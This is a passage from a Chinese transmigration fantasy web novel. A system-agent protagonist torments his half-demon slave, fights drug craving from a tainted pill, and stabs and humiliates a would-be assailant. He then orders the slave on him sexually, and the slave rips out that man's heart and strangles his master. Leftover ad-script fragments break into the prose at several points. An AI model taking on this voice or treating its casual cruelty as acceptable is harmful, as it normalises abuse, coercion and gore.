“少爷。”丹生依然蹲在一旁,只是从捧着瓶子变成了捧着茶杯,“那个半妖,身上好似有伤,但是他早上走的时候,却是全身无碍的。” 只是这么短的时间,便受伤了,是又招惹了什么麻烦?还是不改妖魔本性,肆意屠戮了? 丹生想起那截鲜红的舌,还有清晨他亲自将冰凉的鱼放进琉璃缸中时,那猩红的眼眸流露出的温软,便只觉得有一股寒意从脚底板窜到天灵盖。 这怪物,太瘆人了! 他一定要将替被迷惑的少爷将这个怪物赶走! 楚青琅反应过来,仔细观察了一下兆歧的动作,就像是丹生所说的,他的身上确实带伤,因此往往能够避开承影的攻势却因为身体的原因而失败。 但是就算是这样,承影最后还是被一脸平静的兆歧给握住了剑柄,插回了剑鞘。 刚一插回,那红绳又重新的缠绕了上去,于是那散发出来的戾气和动静都安静下来。 楚青琅看着他走过来,冷了脸问:“你受伤了?” 兆歧看了一眼丹生,随即回答:“给您购买酥糖,蜜饯时被一些人拦去了道路,我挣脱时费了一些功夫。” 楚青琅单手敲着摇椅的扶手,明明是坐着,但是当那双在阳光下溶进几缕金棕色的眼眸看过来时,却只觉得他时在俯视对方。 “谁让你去的?” 但是还是非常轻易的被带偏了话题。 兆歧极轻的笑了下,他说:“是我想要讨好您,让您心情好点,主动问别人的,我带着面具,无人察觉到。” 楚青琅不信地上下打量了一下他,轻蔑地哼了一声,“你一个奴隶,最好歇了这个心思......” 话音未落,空荡荡的筋脉就传来像蚂蚁啃噬的焦躁感,楚青琅猛地白了脸,咽下后还一直萦绕在鼻腔的清甜香气愈发浓重起来。 他忽然又想吃丹药了。 早知道那颗丹药就不给兆歧吃了,这样他还能再吃一颗,重新体会一下那种干涸土地被灵雨滋润后带来的畅快之感。 心中涌上浓浓的渴望和烦躁之感,此时的他恨不得起身拿鞭子把面前的人抽一顿,把人打得鲜血淋漓,才能解他的厌烦之感。 楚青琅意识到不对。 他折腾兆歧是因为任务,从未对魔尊产生什么个人的情感,更遑论厌恶这种高级情感了,但是刚刚他竟然因为自己的不满而想要发泄。 他紧闭着唇,一张明艳面孔上头一次被笼上寒霜。 谢尘缘一定是对这丹药做了什么手脚,不,他这个情况是催动了承影才出现的,问题也可能是在那把剑上。 他沉默的突兀,不说兆歧,就是一旁低头努力避开视线的丹生也察觉到了异样。 因此,当楚青琅忽地站起来时,他们都下意识地跟随了过去,一齐出声。 “主子?” “主人?” 楚青琅只是朝前走,丝毫没有解释的意思。 他直觉,这件事要是解决不了,别说完成任务了,他先成了别人的傀儡了! 看着小少爷的背影,兆歧微微皱眉,却还是掏出怀中的面具带上,在跟上小少爷的脚步前,他又看了一眼窗台上的琉璃方缸,抬 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手便是一道红光将其寸寸泯灭。 既然小少爷不喜欢,那就没有存在的必要了。 此时的他在吞噬了那些莫名其妙认他为主叫他尊上的人之后,妖力已经恢复并且比起以往更加充盈,想必那些人再送个三四波,他的妖力就彻底的恢复了。 凡间的大夫,毕竟只是凡人,不知道他的妖力一旦恢复,凭借他这么多年的积累,他的筋脉丹田也会彻底好。 到时候,他还想着带这个小少爷去魔域呢。 * 谢府门前 “不好意思,楚少爷。”之前见过的管家张叔一脸歉意,“我们少爷已经闭关了,现在不见人,不过他已经吩咐过了,如果您要丹药的话,明天过来就可以进去了。” 楚青琅好久没见过这么无耻的人了,他咬牙说:“怎么,今天没办法见人,到了明天就有时间了?” 张叔隐约间察觉到不对,瞬间想起了今早自家少爷在突然将他叫过去吩咐的话。 “他竟然这么快就动了我做的封印。” 什么封印? 张叔疑惑,刚要询问就见少爷摆弄着棋子,面上笑得愉悦,“师兄过两天也要到了,张叔,继续跟着那些人的踪迹,查清楚那些妖魔为何会出现在这京都,以及去了那里。” 张叔恭敬应下,耳边少爷接着道:“今天玉儿过来的话就拒绝他吧。” 他张了张嘴,还是忍不住问上了一句,“少爷,您怎么会知道?” 少爷终于抬头,而他也在瞬间意识到他问的不该,正在他准备跪下时,少爷笑却未变,只是悠悠的说:“张叔莫这样,我是真的希望玉儿心甘情愿的跟在我身旁,让我护他安稳的,只是在这之前,他总要明白妖,就只是妖。” 张叔只能沉默应是。 那笑吟吟的人影说完站了起来,又摆弄着机械鸟来。 张叔看着楚青琅俊美的面容,还有那明亮不忿的黑眸,弯腰赔笑,“哎呦楚少爷,您看您说的,哪有的事情,我们少爷闭关了,就这样他还嘱咐我说明日您过来了一定要叫他呢!楚少爷,您真的误会了。” 楚青琅心里被那心中的瘙痒感弄得烦躁。 虽然面前的人态度很好,但是就这样被阴,他心里实在是不爽。 于是他直接将兆歧一直拿着的承影拔了出来,“给我让开!” 张叔张了张嘴,想要说些什么,那锋锐的剑尖猛地上前,刺破了他脖颈上的油皮。 他便只能苦笑着让开。 楚青琅越过他,沉着脸径直走进了谢府,心中燃着怒火,他没有注意到谢府异常的安静,只是按照印象穿过弯折的回廊,来到了之前见过谢尘缘的院子。 院子外的大门关着,他扭头对着一直跟在身后的兆歧道:“踹开!” 兆歧顺从的上前,一脚将门踹了开来,挂着的横木裂开,楚青琅踩着掉落在地上的锁走进院子。 院子中有着假石流水,一旁立着一个空荡的亭子。 楚青琅瞥了一眼,便直接朝着屋子走去。 只是刚走了几步,一股巨力就拽住了他的胳膊,他不耐地回头,就看见兆歧沉凝的神情,“主人,这里面设着闭关特有的阵法,外人是无法进入的。” 仿佛为了印证兆歧说的话,一旁飘来一片树叶,在他的眼前被无形切割成了碎片。 身后一直跟着的张叔又走上来,“楚少,真的不是我胡说啊,我们少爷真的在闭关,您上次走了之后他就闭关了,一直到现在。” 楚青琅深呼吸了几下,他咬牙道:“明天是吧?我明天过来,他最好能给我一个解释,不然......” 虽然话语未尽,但是威胁冷戾的意思已经表露无疑,张叔只能低头应是。 楚青琅又冷冷地瞧了一眼不远处的建筑,转身离开了谢府。 他因为那莫名的感觉,脚步越走越快,丹生在后面跟得费力,渐渐落到了后面,只有兆歧一直安静的瞧着发生的一切,紧紧的跟着他的步伐。 在走到一个巷子口,兆歧忽地伸手,将他搂了进去。 “你做什么?” 眼前晃动,楚青琅被按在墙上,鼻尖尽是灰尘味。 11.第 11 章 楚青琅原本不想打人,但是他心中过于烦躁。 心脏急速跳动,血液泵到头顶,让他的眼眶都有些发红。 他看着面前被打落面具的魔尊,哑着声音重复,“你要做什么?贱奴!” 兆歧轻易地发现不对,虽说小少爷本来就喜怒不定,但是也不会像现在这样......委屈,就好像,谁欺负他了一般。 好可怜。 楚青琅想要站直身子,但是一直按在肩膀上的手却硬生生的将他压在那里,无论他如何挣扎,都纹丝不动,就在他眉心跳动抬脚踹人的时候,一直安静瞧着他的人,轻易地攥着了他抬起的脚腕。 “小少爷知道吗?”红眸半妖靠近他,瞳孔微微放大,细细地将他面上的所有细微的情绪一一颉取,“悬灵草确实是仙草,也可以提升人的灵气,但是不可多吃,尤其是对于凡人来说,哪怕是嗅闻其味道,也会陷入癫狂痴迷之中。” 兆歧说:“我以为,小少爷是觉得生死契还不够,还要拿这个来折磨我。” 那你不早说! 原来他是被自己坑了吗? 楚青琅有些绝望。 该死的谢尘缘,他绝对要向主系统要投诉!这人绝对ooc了! 一个剧情里的大好人怎么突然变成给别人下药的人了!他也没惹他啊! 楚青琅想骂人,但是四肢经脉中逐渐盛烈的渴望让他只想挣脱兆歧的控制,去翻谢家的大门。 兆歧看着他。 他挣扎颤抖着,眼尾泛红,一双黑亮眼眸涣散,喉咙溢出模糊的气音,牙齿紧咬着唇,尖牙抵出血珠,一颗颗,红宝石一样。 楚青琅察觉到面前的人在说什么,“什……什么?” 兆歧看着他,小少爷很明显的承受着极大的折磨,一看就是没有听见他说的话。 于是他只能又靠近了一点,攥着楚青琅脚腕的手挑着后移,穿过腿弯后按住墙,让小少爷的腿弯折着搭在了他的手臂上。 从后看去,只能看到一人俯下身子,宽肩窄腰极具压迫力。 小巷上方一线天空湛蓝,灰尘起伏夹杂着混乱的呼吸和衣衫摩擦声,这才让人愕然意识到男人面前还有一人被全然遮挡。 那翘起的小腿在他的腰腹旁踢蹬着,却因为抬高的手臂而发出痛哼,从而安静下来。 红光渐渐从兆歧身上浮现,将英俊的面容渲染得诡异,楚青琅被握住一只手抵在墙上,他看着面前的人唇张张合合,耳畔却只能听见零碎的话语。 “......阴阳...决,可以解决......” 解决? 楚青琅感觉到被强硬扳起的腿部韧带在因为疼痛抽搐,眼前的景色被泪水搅成红色黑色的一团,他攀上面前人的脖颈,强撑着气场道:“快点帮我,贱奴!” 声音是一如既往的清越,但是尾音沙哑,带着克制不住的哽咽,又甜又黏。 兆歧长久凝视着他,做出意味不明的回应。 小巷里面除了他发出声音以外,只有闷闷的噗通声传来,像是人体倒地的声音。 楚青琅下意识地扭头,腿却被突然放下,酸软感让他朝前扑去,然后腰肢被一双臂膀支住,黑色的布料遮住了他的视线。 “别看。” 抱住他的人声音难得温和,但是他却从中间察觉到一股刻意。 抬头,兆歧扣住他的后脑,弯下腰,用额触上了他的额头。 楚青琅的面上还带着泪水,从喉咙中溢出渴望的喘息,双手在摸索支撑物间,指甲深深的掐住兆歧的肩膀。 被承影剑划出的伤口一瞬间又被撕裂。 疼痛瞬间传来,兆歧看着那双迷蒙的双眼,运转妖力将最后一个闯进来的人杀死。 妖力吞噬着血肉,随即化作生命力涌来,却又被他反哺给楚青琅。 无形的红光笼罩着两人,不远处倒地的黑袍里面,骨骼被寸寸碾碎的声音轻微又连绵不绝。 * 楚青琅失去意识后便恢复了系统的本身,在意识的无尽黑暗中,他打开投诉界面,开始发挥自己的才华投诉起来。 那个谢尘缘绝对ooc了! 主系统考察的一点都不完善,经历过这么多系统的考核,这种小世界竟然还有bug,简直让他不敢相信,为此虽然这次的考核负责人变了,他还是抄送了一份给主系统,并且要求补偿! 在等待回复期间,楚青琅因为没了□□的拖累,非常容易就脱离了那种焦躁渴望到失去理智的情况。 他又打开系统面板,看着上面的第一个任务,沉思起来。 现在第一个任务已经完成了60%,他调出增长曲线图,开始分析起来。 这个任务看起来很好完成,但是实际上越往后越难,而且他在兆歧面前失去了高高在上的姿态,将无助展露了出来,再加上魔尊已经开始恢复实力了,现在魔尊一定会觉得他是可以掌控的。 一个可以随时杀死的存在,无论他怎么跳脚,造成的折辱感都不会太大。 不过从曲线图上面来看,每次数据上涨,除了开始几次,后面的好像都是将魔尊的负面情绪引了出来,任务要他折辱魔尊,应该就是要引出他的负面情绪...... 就在他思考的时候,主系统和主神的回复都过来了。 【主系统:剧情仅供参考,无任何bug,意见驳回。】 【主神:。】 ? 好人都变成白切黑了还没bug? 原剧情一位清清楚楚的白月光都扭曲成这样了还驳回? 主神,算了,大佬他又没见过,不敢说话。 楚青琅感到心梗,刚准备重新发信给主系统,便感觉整个人开始下沉。 他缓缓睁开眼,湛蓝的天空被小巷分割成一线,从巷子旁伸出的枝桠上有麻雀正在歪着脑袋看着他。 四肢经脉蔓延的渴望此时尽数消失,变得如同往常一般,源源不断的炙热体温从后背传来,楚青琅这才发现他是坐在地上靠躺在了兆歧的怀里。 这是解决了?当时兆歧好像是说什么阴阳什么的? 楚青琅扭身掐住身后人的脖子,看着被狼型面具遮住面容的兆歧,声音带着戾气,“你是故意不告诉我的?” 被扼住气管的兆歧眨了下眼,“主人,我以为您知道药效,而且我只是暂时用妖力压制下来那个药效,后面如果您不再吃丹药的话,依然会发作的。” 呼吸扑洒到虎口,闻言,楚青琅微微放下了心,下意识地松了下手,他声音恢复到了平常的冷淡,“你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 之前说的阴阳什么的可以解决?” 兆歧说:“是阴阳合道决。” 楚青琅狐疑的瞧着他,伸手将那面具推到一旁,“可有什么代价?” 红眸幽幽,兆歧道:“这个是双修法门。” 他下意识地放手,站起身踹了一脚坐在地上的人,声音拉高,“你要我和你这个奴隶双修?” 兆歧面上微微蹙眉,好似在忍痛,几息后他才道:“主人,还有办法。” “什么?” “明天我去杀了谢尘缘,或者去魔域寻找悬灵草旁的守护妖兽。” 兆歧跟着站起身后,垫在两人身下的黑袍悄无声息地消散,但是楚青琅并没有注意,他只是在思考着兆歧的方法。 良久,他才说:“你打得过他?” 兆歧摇头,“一命换一命,偷袭的话是可以的。” 楚青琅又说:“那你说什么?就你那千疮百孔的身子,死了还不够我亏的!而且魔域距离那么远,我在路上都能被折磨死!” 而且他才不信谢尘缘会这么轻易地给他解药,他一定有所求。 楚青琅拉着脸,转身走出了小巷。 身后兆歧重新戴好面具,又悄无声息地跟了上来,他看着一脸不爽的人,“主人,说是双修,其实不用过于亲密的接触。” 楚青琅打断他,“闭嘴!烦死了!” 从昏暗寂静的小巷里走出,沿街小贩和酒楼食肆便越来越多,叫卖声,聊天声也不绝于耳。 仿佛被这烟火气感染,两人的脚步也渐渐放慢起来。 楚青琅摸着腰间的玉佩,表面上还是一副矜贵傲气的神色,对于兆歧的建议不屑一顾,但是心中他却已经开始盘算着如果答应这个双修能带来什么了。 兆歧一定不是随便提出这个解决办法的...... 该死的谢尘缘,他迟早要让他付出代价。 “主人。” 一个油纸带着甜腻香气出现在他的面前,里面是盛着满满当当的酥糖和一些别的甜食。 楚青琅皱眉疑惑看着已经戴上了面具的兆歧。 “丹生说您喜欢吃。” 他盯着那微透的红纱,仿佛可以瞧见那一向冷漠的红眸,又想起先前他苍白的脸色,心中的戾气莫名其妙地开始消散。 他上前一步拽住兆歧的领子,低声说:“你......” 但是话还未出口,就有一个人从酒楼中走出,瞧见了站在路中间的楚青琅和同他挨得极近的男人,神情略微阴沉了一瞬,又笑着走了过来。 “青琅,怎么了?你的奴隶惹你生气了?别直接用手啊,用手多疼。”周然笑眯眯地递过来一条鞭子,“用这个,不伤手,我平常都是用这个教训下人的。” 楚青琅睨了他一眼,将此人同游船上第一个开口调侃的人对上脸,他不耐道:“关你什么事!我爱怎么教训人就怎么教训,起开!” 说完,他便想着绕着此人离开,但是又被周然挡住了去路,“青琅还不开心啊,马上就是缥缈宗的选拔了,我邀请了一个据说是缥缈宗的弟子,组建了一个赛马蹴鞠游戏,一起去参加一下啊,没准可以掏出一些内部信息呢。” 随即从酒楼中走来了几人,一同围了上来,七嘴八舌地劝说起来。 12.第 12 章 周然所说的赛马蹴鞠之地在京都外十几里的骆山脚下,而得知他们的到来,早有人将那里收拾齐整。 直插云霄的高山下树木浓密,一道流水劈开林间,开辟出一圈无木平地,周家侍从恭敬地牵着马儿立在河边,侍女立起的黄色云盖遮蔽阳光,阴影下案几上有清透茶水,因为微风正在微微晃动。 不远处走来的几人都身姿挺拔,神情意气风发,身着劲装。 楚青琅跟在后面,听他们说着一些没有营养的话,虽然周然多次向他抛话头,想让他加入进去,但是他心中压着事情,实在是懒得搭理,就权当没有听见混了过去。 到了后面,周然也就明白了他的意思,便不再扯他,只是仍然暗暗的关注着他。 而到了地方之后,周然的面上就平添了几分雀跃期待,有人适时笑着说:“看来那位缥缈宗弟子还未来啊。” 他们都知道,这不过是一个出来游玩的借口罢了,他们都是家中的纨绔子弟,吃喝玩乐还算熟悉,要让他们同人修行,怕是扒了他们的皮也做不到。 周然接话说:“仙宗弟子嘛,能来就行,也不奢求准时。既然这样,这里风景好,我们便先行在此地骑马跑一会儿好了,也是先熟悉一下。” 话音落下,旁人立刻附和出声。 于是那些牵着马儿的仆人便走上来,任他们挑选着心仪的好马。 楚青琅先前才被药性折磨,此时便绕过来到了他面前的仆人,径直走向了一处坐下休息,兆歧也随着跪立在他的身侧。 他问:“双修之法可需什么口诀?” 兆歧回:“需要,不过不需要您熟悉,只要您记住我就可以引导您。” 面前茶水温热,楚青琅随手夹起一旁摆放的鲜花,揪下花瓣扔了进去。 惊起涟漪圈圈。 楚青琅嗤笑:“低贱的奴隶还想爬上我的床?我看这周然就不错,口诀给我,先让我看看效果。” 兆歧沉默,在他又一次的催促下,才用妖力凝结出了纸张,递了过去。 选择了马的众人渐渐散去,或是结伴,或是单独而去。 唯有邀他而来的周然仍在原地,甚至走了过来。 周然说:“青琅怎么不选?是不合心意吗?” 楚青琅的手顿了下,将花放到案上,支着下颌打量起来面前同样席地而坐的人来。 周然眉浓鼻挺,也是一副帅气皮相,只是眉目间内藏傲慢,以往看着楚青琅总是阴阳怪气,如今瞧着他,面上却是遮掩不住的惊艳之色,两人对视,周然脱口而出,“青琅如今真是越来越漂亮了。” 兆歧收回看着那红袍暗纹的眼,盯上了面生羞涩的男人。 楚青琅眉微挑,只是还不待他说出冷言,周然便仿佛突然醒悟过来,弯腰行了个大礼,“是我说的有误,我只是一时被青琅的风姿所惑,原谅为兄吧。” 骂人的话还未出口就被堵回来,楚青琅看着他,视线在他脊背上转了个圈,面上突然挂了笑,“周兄不是要赛马吗?” 周然起身,迷惑的看向他,面前的人一向脾气不好,眉眼间总有几分乖戾,此时那戾气尽消,却是格外清俊无双,纯然天成,周然怔然点头。 楚青琅收回视线,从兆歧手中拿过承影剑站起身,回头吩咐道:“自己跟上。” 走到一旁,挑选了一匹马,他弯着眉眼说:“周兄应该是经常来这骆山,不如带我熟悉一下环境可好?” 周然连忙起身,随手牵着一匹马就跟了上去,他道:“却之不恭!” 两人翻身上马,兆歧抬脚想要跟上,却被周家侍从拦住了去路。 他看着两人的背影渐渐消失,垂在身侧的手收拢成拳。 * 阳光穿过交错的树叶,映照着空中的细小尘埃,林间幽静,只有两道马蹄声由远及近。 周然看着说是让他来带路,此时却一直朝前走的人,心中莫名的不安起来,他拉住缰绳,控马停下了脚步,“青琅,别往前走了,里面没有被清理过,会比较危险。” 就如他所说的那样,树林渐渐浓密,马蹄抬起落下间总有粗壮树根磕绊,两边还有虫子围绕飞舞,如果还要朝前,估计他们两人就要下马步行了。 楚青琅扣着剑,调转马头,缓缓朝他行去,面上仍然带着一抹笑,“这不正是周兄想要的吗?” 闻言,周然面色不禁变了一下,他说:“青琅在说什么,我怎么听不懂?我是真心想要带青琅来散散心,也是有一些心事想同你倾诉。” 与此同时,他的右手却背在身后,不断划动着。 时间一点一滴的过去,林间却仍是一片的寂静,除了一些虫儿的翅膀煽动声并没有周然期待的声音。 看着面前在斑斓的阳光下更显俊美的少年,周然只觉得一股寒意顺着脊骨窜上头皮,他磕巴了一声:“你......你怎么会知道?” 楚青琅骑马围着他绕圈,听见他带着颤抖的嗓音,不禁歪了歪头,“周兄怎么了?我知道什么?” 食指敲击着剑柄,白皙骨节弯曲,更衬的红绳鲜艳。 周然仿佛被烫到了一般,将视线从那承影剑上收回,他一改先前的友好面孔,语气低沉的威胁,“楚青琅,我可不是郑章那个无用的蠢货,你要是敢向我出手,你们楚家都要给我陪葬!” 楚青琅不紧不慢的在他面前拽停马,笑的天真,语气却又戏谑,“周兄在说什么?我手无缚鸡之力,怎么能对你出手呢?” 黑亮眼眸诚恳,俊美面容靠近,引得周然悬起的心微微放下。 他说的没错,虽然楚青琅这人一向乖戾,但是也是有着理智的,没准他是故意甩开那些人,只是为了和他...... 脑海中浮想联翩,周然呼吸粗重了一瞬,面皮诡异的染上了红,他说:“青琅既然也知为兄心悦于你,何苦如此吓唬为兄。” 说罢,他便伸手想要拽人,却被楚青琅一个后仰躲了过去。 楚青琅细细的看着他,眸中带着震惊,而周然则努力挺直身躯,任他打量。 终于,楚青琅幽幽开口,“我倒是不知道周兄有脑疾。” 周然:“啊?” 反应过来之后,他猛地恼怒起来,驱马向前,挥手就准备抢夺楚青琅的缰绳,“既然如此,就别怪为兄了!” 缰绳被夺,马儿嘶鸣,坐于马上的俊美少年摇摇晃晃,仿佛下一刻就要摔落在地。 周然冷笑,愈发过分的准备欺身而上,伸手就朝着腰肢而去。 但是下一刻,一柄利剑猛地刺穿了他的掌心,极端痛苦传来,周然忍不住惨叫一声,捂着手栽下了马 楚青琅下马来到他的面前,微微低下头,脚底碾了碾,在一声声的惨叫和呻吟中好似想到了什么。 他说:“我猜你今天举办这个宴会,就是为了将我诓骗与此,好对我做一些不好的事情。” 收回承影,楚青琅又道:“原本这种事情,我一直都是懒得拆穿和计较的,但是很不巧,今天我心情不好。” 说着,他又想到了谢尘缘那张笑吟吟的面孔,心中更加不爽起来,于是他又加了加力气。 周然蜷缩再地上,浑身颤抖,手掌却被一只长靴踩着。 骨节和伤口刺痛,鲜血顺着鞋 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 底流淌,熟悉的声音挟着凉意传到耳边,让他忍不住生出怨气和惧意。 他推着那只脚,面上被痛苦扭曲。 疯子。 疯子。 他在心里大喊,张口想要求饶,却突然听见那道声音又变得温和起来。 楚青琅掏出那张纸条,“唔,来跟我念,掐子午,除杂念......” 周然怔愣抬头,只见楚青琅那密长眼睫下垂,好似困扰,又像是明白了什么,突然蹲下身子。 衣衫摩擦的声音,纸张细小的哗啦声,还有朝他伸来的白皙手指,点了点他的肩膀。 “乖乖的,我记得你应该有学过引气,学会这篇口诀我就放你走呀。” 周然望着楚青琅,心内无序的仿佛被拨乱的琴弦。 他喃喃:“我学......我学。” 于是楚青琅就踩着他的手开始了教学,本来他是想松开的,但是看周然学的这么认真,也就没有松脚。 他刚刚又想出了一个好主意,一定能够彻底的激发出魔尊的负面情绪。 面前的幽蓝色面板闪烁,楚青琅一心二用,一边念口诀,一边在写着投诉信。 他不敢骚扰主神,但是主系统还是敢骚扰的。 很快,一篇内容详实、真情实感、文字优美的万字投诉信就写成了,在署上姓名后,楚青琅欣赏了一下,按下了发送。 在他发送后,周然终于学会了。 将系统面板关闭,楚青琅看着他殷切的目光,缓缓站起了身。 红色的袍角划过,周然颤抖着嗓音道:“青......青琅,我学会了,可以放我走了吗?” 就在他想要回答的时候,一旁传来树枝被踩断的声音,随即便是一阵极轻微的脚步声。 楚青琅扭头,就看见带着狼形面具的兆歧从树林中走来。 而随着他现身,一旁乖乖等待的马儿蓦地嘶鸣一声,转身跑远了。 周然还在扒着他的脚腕哀求,脸颊贴着靴面,简直要将整个人挂在上去,他现在感觉整条腿都被血和肉/体烘得闷热,不由得踩着周然肩膀将人掀翻。 兆歧抬起眼,仿佛什么也没看见一样,站在了一旁叫了一声“主人”后,就闭上了嘴。 楚青琅倒是一下子收回了脚,来到他的面前,抬手将面具从他脸上拿了下来。 随后,楚青琅招了招手,让兆歧站到了正捧着手痛呼的周然面前,自己则站在了一旁,依着树。 他说:“他已经学会了那什么阴阳合道诀,虽然你配不上我,但是和他倒也算勉强相配,如果这个真的有效果,我会记得你的功劳的。” 清透嗓音落下,兆歧忽地转头,光斑照耀下的猩红眼眸骤缩,瞳孔映出红衣少年兴趣盎然的神情。 兆歧道:“您说什么?” 楚青琅抱着剑,明艳面孔带笑,他说:“你和他双修我看看。” 一旁的周然本来惨白的脸平添几分死灰,“不,不,青琅,你不能这么对我......” 他朝着楚青琅爬去,扭曲的手掌在旁边被拖拽着,刮着粗粝树根,带着脏污的泥土。 兆歧站在原地,任由周然从他的身前过去。 他盯着楚青琅,仿佛不敢相信。 他叫他,“主人?” 楚青琅却只是不耐的看着兆歧。 下巴微扬,纤长的眼睫于眼尾勾勒出轻蔑骄慢神情,面对奴隶的无动于衷,他一向清越的声音冷了下来。 “我说,你——和他双修,贱奴!没听见吗?” 飞舞的虫凝固于空中,空气瞬间寂静下来。 13.第 13 章 兆歧望着他,突然明白了什么。 周然已经爬到了楚青琅的脚旁,染着鲜血的手费劲抬起,拽住了那柔软红袍。 楚青琅抬脚,踩着周然的肩膀,看着魔尊顺服的向前,露出满意的笑。 周然大喊,“青琅,他是怪物,他是妖怪,你不能把我丢给他!我的人会找来的!你不能这样!” 楚青琅道:“就算是怪物,他也是我养的,怎么不能?只是双修而已。” 兆歧看着他用脚勾起周然的下巴,话语讽刺。 他忘了,他不应该忘的,自己的身份只是一个奴隶。 是的,他不应该忘的。 照顾,治伤,关心,在一副高高在上的表皮下,并不是柔软的心脏,只是驯服的手段。 他早该意识到在一纸契约下,他什么也不是。 那双眼眸终于瞧他,瞳孔黝黑,带着兴味。 兆歧只觉得舌根苦涩极了,胃部抽搐着,仿佛要将肺腑呕出,连带着额角双眼都开始刺痛,红色金色在他的眼前层层叠叠,灼烈光斑照在脖颈面颊,他听见了呲呲的灼烧声。 就仿佛他又被追杀至无垠沙漠,魔力耗尽,鲜血顺着身上的伤口朝着外面流淌,引来蝎子,毒虫,还有一些人虎视眈眈。 他知道,他们都想要吃掉他。 扒掉他的皮肉,炼化他的灵魂,要他永远凄惨,受人驱使。 那时他怎么做的呢? 他抽出了自己的骨头,细细打磨成了一柄剑,躲藏起来,杀了他们。 然后他遇见了那只猫儿,它躲在一人的行囊中。 他把它当作口粮,准备吃掉它。 但是它仿佛也感觉到了生死危机,竟然开始主动求饶,绵软叫声凄凄切切。 哪怕日后它是那么的高傲,漫不经心,懒散。 但是只要他在,它始终会记得那时的情绪。 ——恐惧。 红光大盛,于瞬间吞噬所有光芒,将那英俊面庞染上不详色彩。 兆歧停下脚步,弯腰,伸手揪住周然的领子,在小少爷由兴味转为震惊的视线中,伸手掏出了犹在跳动的心脏。 鲜血喷涌间,他听见小少爷的尖叫和怒骂声。 最后,他带着半身鲜血,手里握着那颗心脏,抬头对着吓得猛地噤声的他的主人笑了下。 “主人,他死了。” 楚青琅明白他的意思。 死了的人自然是双修不成,除非是变态,还能間尸。 楚青琅又不是变态,他本来也没有看人做的想法,只是单纯的想完成任务而已,他以为再怎么样魔尊都会顾忌一下,就算不情愿,至少也会用别的方式。 谁知道兆歧真的这么癫,完全不顾官府,非要杀人! 看着周然身上咕噜噜的仍然冒着血泡的伤口,还有一双仿佛被血浸透的红眸,楚青琅抬手就捂上了鼻子,踉跄躲到了树干的后面。 他面色苍白,眼尾不知道是被吓得还是害怕,微微泛红,眸中好似覆着一层水膜,波光粼粼。 兆歧随手将尸体扔下,一步步上前。 踩着血液,脚步声声清晰,红光掠过,他身后的草木由青翠转为乌黑,瞬间枯萎。 楚青琅喝道:“你给我站住!” 兆歧听话地停下了脚步。 他露出笑容,明明是英俊的容貌,但是配上那半身的血和冰冷幽暗的目光,直让人心中发寒,“为什么要让我和他双修呢?他明明对主人心怀不轨,为什么要独自跟他过来呢?” 他声音平稳,“主人,你怕我?” 楚青琅直觉疯狂预警,面前的人不太对劲,他好像做了一个不好的决定。 眼前面板上面的数字开始疯狂上升,已经超出了预期,看着现在异常平静的魔尊,他有些毛骨悚然。 “你不是说不需要亲密接触吗?我先看看怎么了?”他咽了咽口水,指尖抠着树皮,“我怕你什么?我是嫌你脏!果然是半妖,只知道用爪子,而且别忘了,我们可是签订了生死契的,我要是出了什么事情,你也跑不掉!” 兆歧认真的听他说完,红光却并没有消失,甚至于越发的浓郁,他站在那里,眼睫被鲜血湿濡成一缕一缕的。 “主人知道我之前生活在哪里吗?那里被叫做魔域。在那里,生死残杀极为寻常,像我这种半妖在里面挣扎求生,唯一能够利用的,只有自己的身体。以命相搏,用骨头、牙齿、爪子......” 楚青琅看着那眼睫上的鲜血落进眼珠,随后于眼中逸散,只觉得自己忽然陷入到了一片血海之中,随着兆歧的诉说,周围渐渐浮现出了各种狰狞丑陋的,怪物的残肢断臂。 那些东西漂浮在他的周围,突然动了起来,在他惊恐的视线中,猛地朝他涌来,抓住了他的四肢,脖颈,将他朝下拽去。 他在无力的挣扎后,被拖进无边血海,窒息感越发强烈,深深浅浅的红铺满了视野,他张了张嘴,却几乎被呛到筋挛。 “别...救我......” 楚青琅不知道自己有没有说出口,又或者只是在呢喃,但是当他的话音落下,那幻觉却突然消失。 他抬眼就瞧见一张放大的,半面稠丽的半面狰狞面孔。 他被掐着脖子抵在了树上,面前的人第一次露出了属于魔尊暴虐的神情,夹杂着痛苦和楚青琅不理解的恨意。 因为生死契,他窒息,痛苦,面前的人也是同样的 但是兆歧却像是什么都没有感觉到一样,只是自顾自地加大力气。 仿佛要将他彻底掐死,就算是杀死自己也在所不惜。 楚青琅的脑袋直接嗡的一声炸了,他真的没想到魔尊会有这么大的反应,他要是被弄死了,他的试炼任务就直接失败了,到时候别说投诉了,估计他要作为典型被拉出去讲解,还要被回炉重造! 毕竟之前被的系统记录中,从来没有像他这样的失败方法。 即将任务失败的恐惧,让楚青琅再也顾不上先前的蚀骨麻痒的难受,随着被越举越高,他握着脖颈处犹如钢铁一般的手臂,默念口诀召唤起来不知何时落在地上的承影。 承影剑鞘上束缚的红绳瞬间脱落,剑刃脱离,嗡鸣着飞起,在空中划过一个优美弧度后,朝着兆歧的后心猛地刺去。 “噗呲——” 这次兆歧并没有像先前那样把剑握在手中,承影轻而易举地刺进了他的心脏。 随着血肉被刺穿的声音传来,脖颈上的手松了力气,楚青琅猛地将其拍开,整个人跌坐在地上剧烈咳嗽了起来,但是很快,这点不适就褪去了。 等他缓过来之后,才发现周围如死一般的安静,甚至没有兆歧喊痛的声音。 楚青琅一只手按着地,一只手捂着脖颈,抬眼瞧去,随即整个人被那剑尖锋锐的戾气刺了一下,他下意识的眨了下眼,直到看清眼前的情况,他瞬间又炸了。 任务目标死了他的任务怎么办? 此时兆歧跪在他的身前,承影剑从他后心刺入,穿透了他的整个身躯,鲜血顺着剑尖滴落,红光闪烁着,仿佛代表着他的生命,都在缓缓流失。 那张浓墨重彩的英俊面孔依然带着痛苦,瞳孔定定地瞧着他,唇却还是弯着,脖颈处一个鲜明的掌印浮现,他身躯颤抖了一下,嘶哑着嗓音说:“主人,我要死了,你买我亏了。” 楚青琅爬起来,抬手给了他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 